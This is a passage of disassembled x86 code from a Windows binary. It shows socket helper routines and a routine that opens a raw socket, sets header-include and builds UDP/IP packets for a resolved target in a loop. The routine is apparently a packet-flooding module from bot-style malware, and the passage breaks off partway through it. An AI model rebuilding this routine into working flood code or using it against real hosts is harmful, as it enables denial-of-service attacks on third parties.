loc_4037AF:				; CODE XREF: sub_403767+52j
		cmp	[eax], ebx
		jz	short loc_4037BD
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4037AF
		jmp	short loc_4037E3
; ---------------------------------------------------------------------------


loc_4037BD:				; CODE XREF: sub_403767+4Aj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_4037DD
		lea	eax, [esi+ecx*4+808h]


loc_4037C9:				; CODE XREF: sub_403767+74j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [esi+804h]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4037C9


loc_4037DD:				; CODE XREF: sub_403767+59j
		dec	dword ptr [esi+804h]


loc_4037E3:				; CODE XREF: sub_403767+3Ej
					; sub_403767+54j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	dword ptr [edi]
		call	dword_41223C	; accept
		cmp	eax, 0FFFFFFFFh
		jnz	loc_403925


loc_4037FF:				; CODE XREF: sub_403767+36j
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [esi]
		jb	short loc_40378D


loc_40380C:				; CODE XREF: sub_403767+1Dj
		lea	edi, [esi+804h]
		xor	eax, eax
		cmp	[esi], eax
		mov	[ebp+var_4], eax
		mov	[edi], eax
		jbe	short loc_403868
		lea	ecx, [esi+4]


loc_403820:				; CODE XREF: sub_403767+FFj
		mov	edx, [edi]
		and	[ebp+arg_0], 0
		test	edx, edx
		jbe	short loc_403841
		lea	eax, [esi+808h]


loc_403830:				; CODE XREF: sub_403767+D8j
		mov	ebx, [ecx]
		cmp	[eax], ebx
		jz	short loc_403841
		inc	[ebp+arg_0]
		add	eax, 4
		cmp	[ebp+arg_0], edx
		jb	short loc_403830


loc_403841:				; CODE XREF: sub_403767+C1j
					; sub_403767+CDj
		mov	eax, [ebp+arg_0]
		cmp	eax, edx
		jnz	short loc_40385B
		cmp	edx, 200h
		jnb	short loc_40385B
		mov	edx, [ecx]
		mov	[esi+eax*4+808h], edx
		inc	dword ptr [edi]


loc_40385B:				; CODE XREF: sub_403767+DFj
					; sub_403767+E7j
		inc	[ebp+var_4]
		add	ecx, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [esi]
		jb	short loc_403820


loc_403868:				; CODE XREF: sub_403767+B4j
		mov	eax, [ebp+arg_4]
		mov	ecx, 3E8h
		xor	edx, edx
		mov	ebx, ecx
		div	ebx
		xor	edx, edx
		xor	ebx, ebx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		div	ecx
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [esi]
		imul	edx, 3E8h
		mov	[ebp+var_C], edx
		call	dword_412214	; select
		cmp	eax, ebx
		jz	loc_403922
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4038AB
		xor	eax, eax
		jmp	short loc_403925
; ---------------------------------------------------------------------------


loc_4038AB:				; CODE XREF: sub_403767+13Ej
		cmp	[esi], ebx
		mov	[ebp+var_4], ebx
		jbe	short loc_403922
		lea	ebx, [esi+4]


loc_4038B5:				; CODE XREF: sub_403767+1B9j
		push	edi
		push	dword ptr [ebx]
		call	sub_4117E8	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_403915
		xor	ecx, ecx
		cmp	[edi], ecx
		jbe	short loc_4038FD
		lea	eax, [esi+808h]


loc_4038CD:				; CODE XREF: sub_403767+172j
		mov	edx, [ebx]
		cmp	[eax], edx
		jz	short loc_4038DD
		inc	ecx
		add	eax, 4
		cmp	ecx, [edi]
		jb	short loc_4038CD
		jmp	short loc_4038FD
; ---------------------------------------------------------------------------


loc_4038DD:				; CODE XREF: sub_403767+16Aj
		mov	eax, [edi]
		dec	eax
		cmp	ecx, eax
		jnb	short loc_4038FB
		lea	eax, [esi+ecx*4+808h]


loc_4038EB:				; CODE XREF: sub_403767+192j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [edi]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4038EB


loc_4038FB:				; CODE XREF: sub_403767+17Bj
		dec	dword ptr [edi]


loc_4038FD:				; CODE XREF: sub_403767+15Ej
					; sub_403767+174j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	dword ptr [ebx]
		call	dword_41223C	; accept
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403925


loc_403915:				; CODE XREF: sub_403767+158j
		inc	[ebp+var_4]
		add	ebx, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [esi]
		jb	short loc_4038B5


loc_403922:				; CODE XREF: sub_403767+135j
					; sub_403767+149j
		or	eax, 0FFFFFFFFh


loc_403925:				; CODE XREF: sub_403767+92j
					; sub_403767+142j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403767	endp


; =============== S U B	R O U T	I N E =======================================



sub_40392A	proc near		; CODE XREF: sub_401B81+FFp
					; sub_401B81+2EFp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40395C
		lea	edi, [esi+4]


loc_40393C:				; CODE XREF: sub_40392A+30j
		cmp	dword_4191D8, 0
		jz	short loc_40394A
		cmp	eax, 64h
		ja	short loc_40395C


loc_40394A:				; CODE XREF: sub_40392A+19j
		push	dword ptr [edi]
		call	sub_403D92
		mov	eax, [esi]
		inc	ebx
		add	edi, 4
		cmp	ebx, eax
		pop	ecx
		jb	short loc_40393C


loc_40395C:				; CODE XREF: sub_40392A+Dj
					; sub_40392A+1Ej
		and	dword ptr [esi+804h], 0
		push	esi
		call	sub_4114CA	; free
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40392A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40396E	proc near		; CODE XREF: sub_40EE23+149p
					; sub_40F9C9+32p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, 200h
		ja	short loc_40398A
		push	1010h
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		jnz	short loc_40398E


loc_40398A:				; CODE XREF: sub_40396E+Bj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40398E:				; CODE XREF: sub_40396E+1Aj
		and	dword ptr [eax+4], 0
		mov	[eax], esi
		pop	esi
		retn
sub_40396E	endp


; =============== S U B	R O U T	I N E =======================================



sub_403996	proc near		; CODE XREF: sub_40EE23+32Cp
					; sub_40F9C9+FBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [eax+4]
		cmp	ecx, [eax]
		jnz	short loc_4039AE
		push	[esp+arg_0]
		call	sub_403D92
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4039AE:				; CODE XREF: sub_403996+9j
		mov	edx, [esp+arg_0]
		mov	[eax+ecx*4+0Ch], edx
		inc	dword ptr [eax+4]
		mov	ecx, [eax+4]
		xor	edx, edx
		cmp	ecx, [eax]
		setnz	dl
		mov	eax, edx
		retn
sub_403996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4039C6	proc near		; CODE XREF: sub_40EE23+3D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		push	edi
		mov	edx, [esi+4]
		test	edx, edx
		jbe	short loc_403A18
		lea	ecx, [esi+0Ch]


loc_4039D8:				; CODE XREF: sub_4039C6+20j
		mov	edi, [ecx]
		cmp	edi, [esp+8+arg_0]
		jz	short loc_4039EA
		inc	eax
		add	ecx, 4
		cmp	eax, edx
		jb	short loc_4039D8
		jmp	short loc_403A18
; ---------------------------------------------------------------------------


loc_4039EA:				; CODE XREF: sub_4039C6+18j
		mov	ecx, [esi+8]
		cmp	eax, ecx
		jb	short loc_4039F5
		dec	ecx
		mov	[esi+8], ecx


loc_4039F5:				; CODE XREF: sub_4039C6+29j
		mov	ecx, eax
		imul	ecx, 3FFFFFFFh
		add	ecx, edx
		shl	ecx, 2
		push	ecx
		lea	ecx, [esi+eax*4+10h]
		lea	eax, [esi+eax*4+0Ch]
		push	ecx
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		dec	dword ptr [esi+4]


loc_403A18:				; CODE XREF: sub_4039C6+Dj
					; sub_4039C6+22j
		pop	edi
		pop	esi
		retn
sub_4039C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A1B	proc near		; CODE XREF: sub_40EE23+361p
					; sub_40F9C9+11Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	[eax+4], ebx
		lea	ecx, [eax+80Ch]
		mov	[eax+8], ebx
		mov	[ebp+var_4], ebx
		mov	[ecx], ebx
		jbe	short loc_403A8A
		push	esi
		push	edi
		lea	esi, [eax+0Ch]


loc_403A3E:				; CODE XREF: sub_403A1B+6Bj
		mov	edi, [ecx]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jbe	short loc_403A60
		lea	edx, [eax+810h]


loc_403A4D:				; CODE XREF: sub_403A1B+41j
		mov	ebx, [esi]
		cmp	[edx], ebx
		jz	short loc_403A5E
		inc	[ebp+arg_0]
		add	edx, 4
		cmp	[ebp+arg_0], edi
		jb	short loc_403A4D


loc_403A5E:				; CODE XREF: sub_403A1B+36j
		xor	ebx, ebx


loc_403A60:				; CODE XREF: sub_403A1B+2Aj
		mov	edx, [ebp+arg_0]
		cmp	edx, edi
		jnz	short loc_403A7A
		cmp	edi, 200h
		jnb	short loc_403A7A
		mov	edi, [esi]
		mov	[eax+edx*4+810h], edi
		inc	dword ptr [ecx]


loc_403A7A:				; CODE XREF: sub_403A1B+4Aj
					; sub_403A1B+52j
		inc	[ebp+var_4]
		mov	edx, [ebp+var_4]
		add	esi, 4
		cmp	edx, [eax+4]
		jb	short loc_403A3E
		pop	edi
		pop	esi


loc_403A8A:				; CODE XREF: sub_403A1B+1Cj
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], ebx
		push	eax
		push	ebx
		push	ecx
		push	ebx
		push	ebx
		mov	[ebp+var_4], 3E8h
		call	dword_412214	; select
		cmp	eax, ebx
		jz	short loc_403AB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AB0
		push	1
		pop	eax
		jmp	short loc_403AB2
; ---------------------------------------------------------------------------


loc_403AB0:				; CODE XREF: sub_403A1B+89j
					; sub_403A1B+8Ej
		xor	eax, eax


loc_403AB2:				; CODE XREF: sub_403A1B+93j
		pop	ebx
		leave
		retn
sub_403A1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_403AB5	proc near		; CODE XREF: sub_40EE23+372p
					; sub_40F9C9+133p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esi+8]
		cmp	edi, [esi+4]
		jnb	short loc_403AE4
		lea	ebp, [esi+80Ch]
		lea	ebx, [esi+edi*4+0Ch]


loc_403ACF:				; CODE XREF: sub_403AB5+2Dj
		push	ebp
		push	dword ptr [ebx]
		call	sub_4117E8	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_403AEB
		inc	edi
		add	ebx, 4
		cmp	edi, [esi+4]
		jb	short loc_403ACF


loc_403AE4:				; CODE XREF: sub_403AB5+Ej
		xor	eax, eax


loc_403AE6:				; CODE XREF: sub_403AB5+40j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_403AEB:				; CODE XREF: sub_403AB5+24j
		lea	eax, [edi+1]
		mov	[esi+8], eax
		mov	eax, [esi+edi*4+0Ch]
		jmp	short loc_403AE6
sub_403AB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_403AF7	proc near		; CODE XREF: sub_403B2F+4p
					; sub_40EE23+435p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebp, ebp
		xor	ebx, ebx
		cmp	[esi+4], ebp
		jbe	short loc_403B1F
		push	edi
		lea	edi, [esi+0Ch]


loc_403B0B:				; CODE XREF: sub_403AF7+25j
		push	dword ptr [edi]
		call	sub_403D92
		mov	[edi], ebp
		inc	ebx
		add	edi, 4
		cmp	ebx, [esi+4]
		pop	ecx
		jb	short loc_403B0B
		pop	edi


loc_403B1F:				; CODE XREF: sub_403AF7+Ej
		mov	[esi+4], ebp
		mov	[esi+8], ebp
		mov	[esi+80Ch], ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_403AF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403B2F	proc near		; CODE XREF: sub_40EE23+483p
					; sub_40F9C9+1C2p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_403AF7
		push	[esp+4+arg_0]
		call	sub_4114CA	; free
		pop	ecx
		pop	ecx
		retn
sub_403B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B44	proc near		; CODE XREF: sub_40E829+15p
					; sub_40EE23+323p ...

var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	20h
		lea	eax, [ebp+var_24]
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		test	[ebp+arg_8], 2
		jz	short loc_403B69
		mov	[ebp+var_20], 17h
		jmp	short loc_403B75
; ---------------------------------------------------------------------------


loc_403B69:				; CODE XREF: sub_403B44+1Aj
		movsx	eax, [ebp+arg_8]
		and	eax, 1
		shl	eax, 1
		mov	[ebp+var_20], eax


loc_403B75:				; CODE XREF: sub_403B44+23j
		test	[ebp+arg_8], 4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_419224	; getaddrinfo
		test	eax, eax
		jz	short loc_403B9F
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_403B9F:				; CODE XREF: sub_403B44+55j
		push	esi
		mov	esi, [ebp+var_4]
		push	edi


loc_403BA4:				; CODE XREF: sub_403B44+ADj
		test	esi, esi
		jz	short loc_403BF3
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	dword_41222C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_403BEE
		push	0
		push	edi
		call	sub_40344B
		pop	ecx
		pop	ecx
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		push	edi
		call	dword_412208	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403BE7
		call	dword_412238	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_403BF5


loc_403BE7:				; CODE XREF: sub_403B44+94j
		push	edi
		call	sub_403D92
		pop	ecx


loc_403BEE:				; CODE XREF: sub_403B44+78j
		mov	esi, [esi+1Ch]
		jmp	short loc_403BA4
; ---------------------------------------------------------------------------


loc_403BF3:				; CODE XREF: sub_403B44+62j
		xor	edi, edi


loc_403BF5:				; CODE XREF: sub_403B44+A1j
		push	[ebp+var_4]
		call	dword_41922C	; freeaddrinfo
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_403B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C04	proc near		; CODE XREF: sub_401985+73p
					; sub_402018+1Ap ...

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 82Ch
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	ecx, 3E8h
		push	esi
		cdq
		mov	esi, ecx
		xor	ebx, ebx
		idiv	esi
		push	20h
		push	ebx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_C]
		cdq
		idiv	ecx
		lea	eax, [ebp+var_28]
		push	eax
		imul	edx, 3E8h
		mov	[ebp+var_4], edx
		call	sub_4114E8	; memset
		add	esp, 0Ch
		test	[ebp+arg_8], 2
		jz	short loc_403C4E
		mov	[ebp+var_24], 17h
		jmp	short loc_403C5A
; ---------------------------------------------------------------------------


loc_403C4E:				; CODE XREF: sub_403C04+3Fj
		movsx	eax, [ebp+arg_8]
		and	eax, 1
		shl	eax, 1
		mov	[ebp+var_24], eax


loc_403C5A:				; CODE XREF: sub_403C04+48j
		test	[ebp+arg_8], 4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_419224	; getaddrinfo
		test	eax, eax
		jz	short loc_403C87
		xor	eax, eax
		jmp	loc_403D6C
; ---------------------------------------------------------------------------


loc_403C87:				; CODE XREF: sub_403C04+7Aj
		mov	esi, [ebp+arg_C]
		push	edi


loc_403C8B:				; CODE XREF: sub_403C04+149j
		cmp	esi, ebx
		jz	loc_403D5E
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	dword_41222C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_403D4A
		push	ebx
		push	edi
		call	sub_40344B
		pop	ecx
		pop	ecx
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		push	edi
		call	dword_412208	; connect
		test	eax, eax
		jz	short loc_403CD4
		call	dword_412238	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_403D4A


loc_403CD4:				; CODE XREF: sub_403C04+C1j
		lea	eax, [ebp+var_8]
		mov	[ebp+var_828], edi
		push	eax
		lea	eax, [ebp+var_82C]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_82C], 1
		call	dword_412214	; select
		cmp	eax, 1
		jz	short loc_403D52
		mov	edx, [ebp+var_82C]
		xor	ecx, ecx
		cmp	edx, ebx
		jbe	short loc_403D43
		lea	eax, [ebp+var_828]


loc_403D0F:				; CODE XREF: sub_403C04+115j
		cmp	[eax], edi
		jz	short loc_403D1D
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_403D0F
		jmp	short loc_403D43
; ---------------------------------------------------------------------------


loc_403D1D:				; CODE XREF: sub_403C04+10Dj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_403D3D
		lea	eax, [ebp+ecx*4+var_828]


loc_403D29:				; CODE XREF: sub_403C04+137j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_82C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_403D29


loc_403D3D:				; CODE XREF: sub_403C04+11Cj
		dec	[ebp+var_82C]


loc_403D43:				; CODE XREF: sub_403C04+103j
					; sub_403C04+117j
		push	edi
		call	sub_403D92
		pop	ecx


loc_403D4A:				; CODE XREF: sub_403C04+A3j
					; sub_403C04+CEj
		mov	esi, [esi+1Ch]
		jmp	loc_403C8B
; ---------------------------------------------------------------------------


loc_403D52:				; CODE XREF: sub_403C04+F7j
		push	1
		push	edi
		call	sub_40344B
		pop	ecx
		pop	ecx
		jmp	short loc_403D60
; ---------------------------------------------------------------------------


loc_403D5E:				; CODE XREF: sub_403C04+89j
		xor	edi, edi


loc_403D60:				; CODE XREF: sub_403C04+158j
		push	[ebp+arg_C]
		call	dword_41922C	; freeaddrinfo
		mov	eax, edi
		pop	edi


loc_403D6C:				; CODE XREF: sub_403C04+7Ej
		pop	esi
		pop	ebx
		leave
		retn
sub_403C04	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D70	proc near		; CODE XREF: sub_401985+1E0p
					; sub_401B81+2E1p ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	dword_412210	; shutdown
		push	3E8h
		call	dword_4120A4	; Sleep
		push	[esp+arg_0]
		call	sub_403D92
		pop	ecx
		retn
sub_403D70	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D92	proc near		; CODE XREF: sub_4032D2+55p
					; sub_403366+15p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_412240	; closesocket
		retn
sub_403D92	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D9D	proc near		; CODE XREF: sub_401985+110p
					; sub_401B81+207p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	dword_412220	; send
		retn
sub_403D9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DB2	proc near		; CODE XREF: sub_402EFD+B5p
					; sub_403DF6+1Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		cmp	esi, 2
		push	edi
		jb	short loc_403DDF
		mov	edi, [esp+8+arg_4]
		lea	eax, [esi-1]
		push	0
		push	eax
		push	edi
		push	[esp+14h+arg_0]
		call	dword_412258	; recv
		test	eax, eax
		jz	short loc_403DF3
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403DF3
		cmp	eax, esi
		jb	short loc_403DEF


loc_403DDF:				; CODE XREF: sub_403DB2+9j
		push	271Eh
		call	dword_412244	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short loc_403DF3
; ---------------------------------------------------------------------------


loc_403DEF:				; CODE XREF: sub_403DB2+2Bj
		and	byte ptr [eax+edi], 0


loc_403DF3:				; CODE XREF: sub_403DB2+22j
					; sub_403DB2+27j ...
		pop	edi
		pop	esi
		retn
sub_403DB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_402018+70p
					; sub_402018+195p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_403E1F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E0C
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_403E0C:				; CODE XREF: sub_403DF6+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403DB2
		add	esp, 0Ch
		pop	ebp
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E1F	proc near		; CODE XREF: sub_403DF6+9p
					; sub_40B6BE+19p ...

var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1010h
		call	sub_411540
		mov	eax, [ebp+arg_4]
		mov	ecx, 3E8h
		push	ebx
		xor	edx, edx
		mov	ebx, ecx
		push	esi
		div	ebx
		xor	edx, edx
		push	edi
		push	1
		mov	edi, [ebp+arg_0]
		pop	esi
		mov	[ebp+var_808], edi
		mov	[ebp+var_80C], esi
		mov	[ebp+var_100C],	edi
		mov	[ebp+var_1010],	esi
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		div	ecx
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_80C]
		push	0
		push	eax
		push	esi
		imul	edx, 3E8h
		mov	[ebp+var_4], edx
		call	dword_412214	; select
		cmp	eax, esi
		jz	short loc_403E91
		xor	eax, eax
		jmp	short loc_403EA4
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_403E1F+6Cj
		lea	eax, [ebp+var_80C]
		push	eax
		push	edi
		call	sub_4117E8	; __WSAFDIsSet
		neg	eax
		sbb	eax, eax
		neg	eax


loc_403EA4:				; CODE XREF: sub_403E1F+70j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403E1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EA9	proc near		; DATA XREF: sub_4044AA+BCo

var_1338	= byte ptr -1338h
var_1336	= word ptr -1336h
var_1334	= word ptr -1334h
var_1330	= byte ptr -1330h
var_132F	= byte ptr -132Fh
var_132E	= word ptr -132Eh
var_132C	= dword	ptr -132Ch
var_1328	= dword	ptr -1328h
var_1324	= word ptr -1324h
var_1322	= word ptr -1322h
var_1320	= word ptr -1320h
var_131C	= byte ptr -131Ch
var_2D8		= dword	ptr -2D8h
var_131		= byte ptr -131h
var_31		= byte ptr -31h
var_2B		= dword	ptr -2Bh
var_27		= dword	ptr -27h
var_23		= dword	ptr -23h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_411540
		push	ebx
		push	esi
		push	edi
		push	2B9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		mov	esi, 0FFh
		push	esi
		push	3
		push	2
		call	dword_41222C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403F78
		push	1
		lea	ecx, [ebp+var_1C]
		pop	edi
		xor	ebx, ebx
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_1C], edi
		call	dword_412218	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403F78
		push	ebx
		push	[ebp+var_4]
		call	sub_40344B
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		lea	eax, [ebp+var_31]
		mov	[ebp+var_18], 2
		push	eax
		call	sub_41151C	; atoi
		add	esp, 18h
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_131]
		push	eax
		call	dword_412254	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_14], eax
		jnz	short loc_403F88
		lea	eax, [ebp+var_131]
		push	eax
		call	dword_41224C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_403F78
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_14], eax
		jnz	short loc_403F88


loc_403F78:				; CODE XREF: sub_403EA9+45j
					; sub_403EA9+66j ...
		push	[ebp+var_2D8]
		call	sub_406E6F
		jmp	loc_40448B
; ---------------------------------------------------------------------------


loc_403F88:				; CODE XREF: sub_403EA9+ADj
					; sub_403EA9+CDj
		push	1060h
		lea	eax, [ebp+var_1338]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		mov	al, [ebp+var_1338]
		add	esp, 0Ch
		and	al, 0F5h
		mov	[ebp+var_132F],	11h
		or	al, 5
		mov	[ebp+var_8], ebx
		and	al, 0Fh
		or	al, 40h
		cmp	[ebp+var_2B], ebx
		mov	[ebp+var_1338],	al
		mov	eax, [ebp+var_14]
		mov	[ebp+var_1328],	eax
		mov	ax, [ebp+var_16]
		mov	[ebp+var_1322],	ax
		jle	loc_404477
		mov	ebx, 0FFFFh


loc_403FDD:				; CODE XREF: sub_403EA9+5C8j
		mov	eax, [ebp+var_23]
		dec	eax
		jz	loc_40424E
		dec	eax
		jz	loc_404176
		dec	eax
		jnz	short loc_404000
		push	2
		push	0
		call	sub_40B459
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404026


loc_404000:				; CODE XREF: sub_403EA9+146j
		push	ebx
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU_0	; "%u"
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 0Ch
		jmp	loc_404354
; ---------------------------------------------------------------------------


loc_404026:				; CODE XREF: sub_403EA9+155j
		cmp	eax, edi
		push	ebx
		push	edi
		jnz	loc_4040D7
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU	; "%u\r\n"
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h


loc_40405B:				; CODE XREF: sub_403EA9+22Cj
		cmp	eax, 7D0h
		push	ebx
		push	edi
		jnb	loc_4042F3
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
